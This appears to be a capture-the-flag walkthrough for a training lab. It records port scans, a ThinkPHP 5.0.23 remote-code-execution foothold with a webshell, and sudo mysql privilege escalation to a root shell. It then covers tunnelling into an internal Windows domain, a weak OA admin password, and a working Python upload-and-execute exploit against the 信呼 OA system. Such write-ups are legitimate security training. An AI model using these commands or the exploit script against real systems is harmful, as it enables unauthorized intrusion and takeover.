春秋云境-Initial

题目靶场下发 IP:39.99.136.41

利用 Rustscan，集合 Nmap 进行扫描

1
❯ .\rustscan -a 39.99.136.41 -r 1-65535 -- -sC -sV -O
2
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
3
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
4
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
5
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
6
The Modern Day Port Scanner.
7
________________________________________
8
: http://discord.skerritt.blog         :
9
: https://github.com/RustScan/RustScan :
10
 --------------------------------------
11
RustScan: Making sure 'closed' isn't just a state of mind.
12

13
[~] The config file is expected to be at "C:\\Users\\lenovo\\.rustscan.toml"
14
Open 39.99.136.41:22
15
Open 39.99.136.41:80
16
[~] Starting Script(s)
17
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sC -sV -O" on ip 39.99.136.41
18
Depending on the complexity of the script, results may take some time to appear.
19
[~] Starting Nmap 7.97 ( https://nmap.org ) at 2025-07-27 20:10 +0800
20
NSE: Loaded 158 scripts for scanning.
21
NSE: Script Pre-scanning.
22
NSE: Starting runlevel 1 (of 3) scan.
23
Initiating NSE at 20:10
24
Completed NSE at 20:10, 0.00s elapsed
25
NSE: Starting runlevel 2 (of 3) scan.
26
Initiating NSE at 20:10
27
Completed NSE at 20:10, 0.00s elapsed
28
NSE: Starting runlevel 3 (of 3) scan.
29
Initiating NSE at 20:10
30
Completed NSE at 20:10, 0.00s elapsed
31
Initiating Ping Scan at 20:10
32
Scanning 39.99.136.41 [4 ports]
33
Completed Ping Scan at 20:10, 0.07s elapsed (1 total hosts)
34
Initiating Parallel DNS resolution of 1 host. at 20:10
35
Completed Parallel DNS resolution of 1 host. at 20:10, 4.57s elapsed
36
DNS resolution of 1 IPs took 4.62s. Mode: Async [#: 5, OK: 0, NX: 0, DR: 1, SF: 0, TR: 6, CN: 0]
37
Initiating SYN Stealth Scan at 20:10
38
Scanning 39.99.136.41 [2 ports]
39
Discovered open port 80/tcp on 39.99.136.41
40
Discovered open port 22/tcp on 39.99.136.41
41
Completed SYN Stealth Scan at 20:10, 0.03s elapsed (2 total ports)
42
Initiating Service scan at 20:10
43
Scanning 2 services on 39.99.136.41
44
Completed Service scan at 20:10, 6.08s elapsed (2 services on 1 host)
45
Initiating OS detection (try #1) against 39.99.136.41
46
NSE: Script scanning 39.99.136.41.
47
NSE: Starting runlevel 1 (of 3) scan.
48
Initiating NSE at 20:10
49
Completed NSE at 20:10, 5.10s elapsed
50
NSE: Starting runlevel 2 (of 3) scan.
51
Initiating NSE at 20:10
52
Completed NSE at 20:10, 0.15s elapsed
53
NSE: Starting runlevel 3 (of 3) scan.
54
Initiating NSE at 20:10
55
Completed NSE at 20:10, 0.00s elapsed
56
Nmap scan report for 39.99.136.41
57
Host is up, received echo-reply ttl 52 (0.026s latency).
58
Scanned at 2025-07-27 20:10:07 中国标准时间 for 13s
59

60
PORT   STATE SERVICE REASON         VERSION
61
22/tcp open  ssh     syn-ack ttl 52 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
62
| ssh-hostkey:
63
|   3072 ee:cd:c6:f8:25:74:f0:db:b9:1e:bf:cb:e7:85:08:92 (RSA)
64
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEm8945hIofKPC85563srnwSUPyjL51CBcxPMaveSqY2PtR2Zq9adjCSUAloJFymxhMBfzYO5npva41yJepdOJujHe+HsEekCXf3M6QEHDfrZuPv/XzIhhGex66TcBkb5BkHwbl4WoFbA1RwrAc+iN8uwgeU+3ScTNKzht88hQNp+mlDtTircZeCjmfQ4Mo/MDG6+Bysxt3GsMrMththvdotNx4NyN9T+V4KDmIhNSVW2VP33CgTheEsxNns9YLaqj1AR2e3xyfTWta4MQpBS9CkkIGT4ws/qYE+xxQP1/nmc/+lQ5/7I0KW/Ynhey3YSoOIp4AsFEl5ZeYQrNDCYuMVN0yz02/YxdkZR2axyHL7rCctCtLgTqQOZkNll08bxzP0CVRZikcH96udGMRU9XUvb2UZfgPGiV8nIZekRY5EXYJ87c6DJbW4wyjjGZrDX581om7O5G7o2ZNWs5Sbls/VORmTv6eRG2nj8mVjMDdgFGt4LSpY6IP2A6G5jXMS0=
65
|   256 27:72:9a:24:0e:0b:20:58:48:e6:0d:be:0e:fa:fd:86 (ECDSA)
66
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMZAKQIoOyy2pGNGU1EhieK+g4legisI1FMQqzjDEQP6RTo1dkU6TGNeedgiwnBiIc9eoUPvFEnVEFx2pxem3z8=
67
|   256 bd:87:6e:15:1b:ca:1d:ac:4f:50:22:06:fa:b1:02:7d (ED25519)
68
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJaUkm5QfFtAbjOhh0neY9WvUTnzqG6tgGg72NObx0Qc
69
80/tcp open  http    syn-ack ttl 52 Apache httpd 2.4.41 ((Ubuntu))
70
| http-methods:
71
|_  Supported Methods: GET HEAD POST OPTIONS
72
|_http-title: Bootstrap Material Admin
73
|_http-favicon: Unknown favicon MD5: F49C4A4BDE1EEC6C0B80C2277C76E3DB
74
|_http-server-header: Apache/2.4.41 (Ubuntu)
75
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
76
Device type: general purpose
77
Running: Linux 4.X
78
OS CPE: cpe:/o:linux:linux_kernel:4
79
OS details: Linux 4.19 - 5.15
80
TCP/IP fingerprint:
81
OS:SCAN(V=7.97%E=4%D=7/27%OT=22%CT=%CU=39143%PV=Y%DS=14%DC=I%G=N%TM=6886172
82
OS:C%P=i686-pc-windows-windows)SEQ(SP=106%GCD=1%ISR=108%TI=Z%II=I%TS=A)OPS(
83
OS:O1=M578ST11NW7%O2=M578ST11NW7%O3=M578NNT11NW7%O4=M578ST11NW7%O5=M578ST11
84
OS:NW7%O6=M578ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(
85
OS:R=Y%DF=Y%T=41%W=FAF0%O=M578NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=41%S=O%A=S+%F=AS
86
OS:%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=41%W=0%S=Z%A=S+%F=AR%O=%RD=0
87
OS:%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R
88
OS:=Y%DFI=N%T=41%CD=S)
89

90
Uptime guess: 14.861 days (since Sat Jul 12 23:30:31 2025)
91
Network Distance: 14 hops
92
TCP Sequence Prediction: Difficulty=262 (Good luck!)
93
IP ID Sequence Generation: All zeros
94
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
95

96
NSE: Script Post-scanning.
97
NSE: Starting runlevel 1 (of 3) scan.
98
Initiating NSE at 20:10
99
Completed NSE at 20:10, 0.00s elapsed
100
NSE: Starting runlevel 2 (of 3) scan.
101
Initiating NSE at 20:10
102
Completed NSE at 20:10, 0.00s elapsed
103
NSE: Starting runlevel 3 (of 3) scan.
104
Initiating NSE at 20:10
105
Completed NSE at 20:10, 0.00s elapsed
106
Read data files from: D:\huanjing\nmap
107
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
108
Nmap done: 1 IP address (1 host up) scanned in 18.10 seconds
109
           Raw packets sent: 37 (2.558KB) | Rcvd: 15 (1.286KB)

发现 80 和 22 端口开放

web 服务框架为 ThinkPHP

利用 ThinkPHP 工具扫描发现

存在 ThinkPHP 5.0.23 RCE 漏洞

直接利用

上传木马，蚁剑连接

进入虚拟终端，发现/root 目录没有权限，并且存在 flag 目录

当前我们是www-data，可以进行sudo -l发现可以利用mysql命令提权

mysql | GTFOBins

1
sudo mysql -e '\! /bin/sh'

可以获取到第一段 flag

然后就是内网的横向移动，我们先上传一个 fscan 扫描一下

如果使用蚁剑的虚拟终端的话，需要把 fscan 的结果保存到文件中查看

1
www-data:/tmp) $ cat 1.txt
2
┌──────────────────────────────────────────────┐
3
│    ___                              _        │
4
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
5
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
6
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
7
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
8
└──────────────────────────────────────────────┘
9
      Fscan Version: 2.0.1
10
[2.2s]     已选择服务扫描模式
11
[2.2s]     开始信息扫描
12
[2.2s]     CIDR范围: 172.22.1.0-172.22.1.255
13
[2.2s]     generate_ip_range_full
14
[2.2s]     解析CIDR 172.22.1.0/24 -> IP范围 172.22.1.0-172.22.1.255
15
[2.2s]     最终有效主机数量: 256
16
[2.2s]     开始主机扫描
17
[2.2s]     使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
18
[2.2s]     正在尝试无监听ICMP探测...
19
[2.2s]     ICMP连接失败: dial ip4:icmp 127.0.0.1: socket: operation not permitted
20
[2.2s]     当前用户权限不足,无法发送ICMP包
21
[2.2s]     切换为PING方式探测...
22
[3.3s] [*] 目标 172.22.1.15     存活 (ICMP)
23
[3.3s] [*] 目标 172.22.1.18     存活 (ICMP)
24
[4.3s] [*] 目标 172.22.1.2      存活 (ICMP)
25
[4.3s] [*] 目标 172.22.1.21     存活 (ICMP)
26
[8.2s]     存活主机数量: 4
27
[8.2s]     有效端口数量: 233
28
[8.2s] [*] 端口开放 172.22.1.15:80
29
[8.2s] [*] 端口开放 172.22.1.15:22
30
[8.2s] [*] 端口开放 172.22.1.18:3306
31
[8.2s] [*] 端口开放 172.22.1.18:445
32
[8.2s] [*] 端口开放 172.22.1.18:139
33
[8.2s] [*] 端口开放 172.22.1.18:135
34
[8.2s] [*] 端口开放 172.22.1.18:80
35
[8.3s] [*] 端口开放 172.22.1.21:445
36
[8.3s] [*] 端口开放 172.22.1.21:135
37
[8.3s] [*] 端口开放 172.22.1.21:139
38
[8.3s] [*] 端口开放 172.22.1.2:445
39
[8.3s] [*] 端口开放 172.22.1.2:389
40
[8.3s] [*] 端口开放 172.22.1.2:139
41
[8.3s] [*] 端口开放 172.22.1.2:135
42
[8.3s] [*] 端口开放 172.22.1.2:88
43
[11.2s]     扫描完成, 发现 15 个开放端口
44
[11.2s]     存活端口数量: 15
45
[11.2s]     开始漏洞扫描
46
[11.4s] [*] 网站标题 http://172.22.1.18        状态码:302 长度:0      标题:无标题 重定向地址: http://172.22.1.18?m=login
47
[11.4s] [*] NetInfo 扫描结果
48
目标主机: 172.22.1.21
49
主机名: XIAORANG-WIN7
50
发现的网络接口:
51
   IPv4地址:
52
      └─ 172.22.1.21
53
[11.4s] [*] NetInfo 扫描结果
54
目标主机: 172.22.1.2
55
主机名: DC01
56
发现的网络接口:
57
   IPv4地址:
58
      └─ 172.22.1.2
59
[11.4s] [*] NetInfo 扫描结果
60
目标主机: 172.22.1.18
61
主机名: XIAORANG-OA01
62
发现的网络接口:
63
   IPv4地址:
64
      └─ 172.22.1.18
65
[11.4s] [*] 网站标题 http://172.22.1.15        状态码:200 长度:5578   标题:Bootstrap Material Admin
66
[11.5s]     系统信息 172.22.1.2 [Windows Server 2016 Datacenter 14393]
67
[11.5s]     POC加载完成: 总共387个，成功387个，失败0个
68
[11.5s] [*] 网站标题 http://172.22.1.18?m=login 状态码:200 长度:4012   标题:信呼协同办公系统
69
[11.5s] [+] NetBios 172.22.1.2      DC:DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
70
[11.5s] [+] 发现漏洞 172.22.1.21 [Windows Server 2008 R2 Enterprise 7601 Service Pack 1] MS17-010
71
[11.5s] [+] NetBios 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
72
[11.5s] [+] NetBios 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1
73
[14.5s] [+] 目标: http://172.22.1.15:80
74
  漏洞类型: poc-yaml-thinkphp5023-method-rce
75
  漏洞名称: poc1
76
  详细信息:
77
    参考链接:https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce

172.22.1.2 (DC01)域控制器

系统: Windows Server 2016 Datacenter 14393
主机名: DC01.xiaorang.lab
开放端口:

88 (Kerberos)
135 (RPC)
139 (NetBIOS)
389 (LDAP)
445 (SMB)

172.22.1.18 (XIAORANG-OA01)

角色: OA办公系统服务器
系统: Windows Server 2012 R2 Datacenter 9600
主机名: XIAORANG-OA01.xiaorang.lab
开放端口:

80 (HTTP)
135 (RPC)
139 (NetBIOS)
445 (SMB)
3306 (MySQL)

Web服务: 信呼协同办公系统

172.22.1.21 (XIAORANG-WIN7)

系统: Windows Server 2008 R2 Enterprise 7601 SP1
主机名: XIAORANG-WIN7.xiaorang.lab
开放端口:

135 (RPC)
139 (NetBIOS)
445 (SMB)

同时发现永恒之蓝漏洞MS17-010 (永恒之蓝) - 172.22.1.21

这里使用

Neo-reGeorg

搭建代理隧道

利用 Prof 创建本地代理

然后访问 OA 系统

弱口令

1
admin/admin123

寻找漏洞

利用

1
import requests
2
session = requests.session()
3
url_pre = 'http://172.22.1.18/'
4
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
5
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
6
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'
7
data1 = {
8
    'rempass': '0',
9
    'jmpass': 'false',
10
    'device': '1625884034525',
11
    'ltype': '0',
12
    'adminuser': 'YWRtaW4=::',
13
    'adminpass': 'YWRtaW4xMjM=',
14
    'yanzm': ''
15
}
16
r = session.post(url1, data=data1)
17
r = session.post(url2, files={'file': open('1.php', 'r+')})
18
filepath = str(r.json()['filepath'])
19
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
20
id = r.json()['id']
21
url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'
22
r = session.get(url3)
23
r = session.get(url_pre + filepath)
24
print(r.text)
25
print(url_pre + filepath)

连接 webshell，找到第二段 flag

春秋云境-Initial

Table of Contents

春秋云境-Initial